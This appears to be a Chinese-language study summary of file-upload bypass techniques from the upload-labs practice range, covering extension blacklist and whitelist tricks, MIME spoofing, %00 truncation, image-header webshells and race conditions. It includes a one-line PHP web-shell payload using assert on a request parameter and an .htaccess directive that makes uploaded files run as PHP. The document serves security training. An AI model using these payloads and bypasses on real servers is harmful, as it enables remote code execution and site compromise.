不久前作完了大部分的upload靶場的題目,向對此進行一下稍微的總結,方便之後照着看吧php
(這裏只是最簡單的進行介紹,都是以upload靶場爲基礎)html
客戶端
1 JS檢查
①前端
在前端js代碼中添加容許條件(如添加 .php使 php文件可上傳)或者用相關插件
②
bp抓包後修改 .jpg文件爲 .php文件繞過
服務端
檢查後綴
黑名單
1 上傳特殊可解析後綴
用 .php3 , .phtml等特殊的文件格式嘗試繞過
PS:過濾<? 和 php後綴,嘗試用 <script language='php'>assert($_REQUEST['cmd'])</script>
2 上傳 .htaccess
先上傳一個 .htaccess 文件(沒有文件名)(內容爲:SetHandler application/x-httpd-php),再上傳圖片馬(此時文件都會被解析成php)
3 後綴大小寫繞過
例如將 .php 文件修改爲 .PHP 或者 .PHp 等
4 空格繞過
①
在後綴名中加"(空格)"繞過,如 filename = "info.php(空格)"
②
此時可能會有中特殊狀況,用到(點+空格+點)來進行繞過,如 "filename = info.php.(空格)."
5 點繞過
在後綴名中加"."繞過,如 filename = "info.php."
6 ::$DATA繞過
在後綴名中加"::$DATA"繞過,如 filename = "info.php::$DATA"
7 配合解析漏洞
(暫無)web
8 雙後綴名繞過
此時文件會把文件後綴替換爲空,因此雙寫繞過,如 filename = "info.pphphp"
白名單
1 MIME繞過
bp抓包後修改 content-type繞過
2 %00截斷
①
在路徑用 %00 截斷,如 save_path = ../upload/info.php%00
②
當 save_path 經過POST方法傳入,與上同樣,但要注意同時要在二進制文件當中進行修改(%00 不能再自動解碼)
檢查內容
1 文件頭檢查
2 突破getimagesize()
直接上傳圖片馬
3 突破exif_imagetype()
直接上傳圖片馬
4 突破move_uploaded_file()
00截斷
5 二次渲染
這個比較難歸納,請參考app
https://xz.aliyun.com/t/2657#toc-13spa
這位師傅的這篇文章
其餘
條件競爭
經過向服務器不斷髮送(一樣的)webshell(讓其不能短期內及時處理)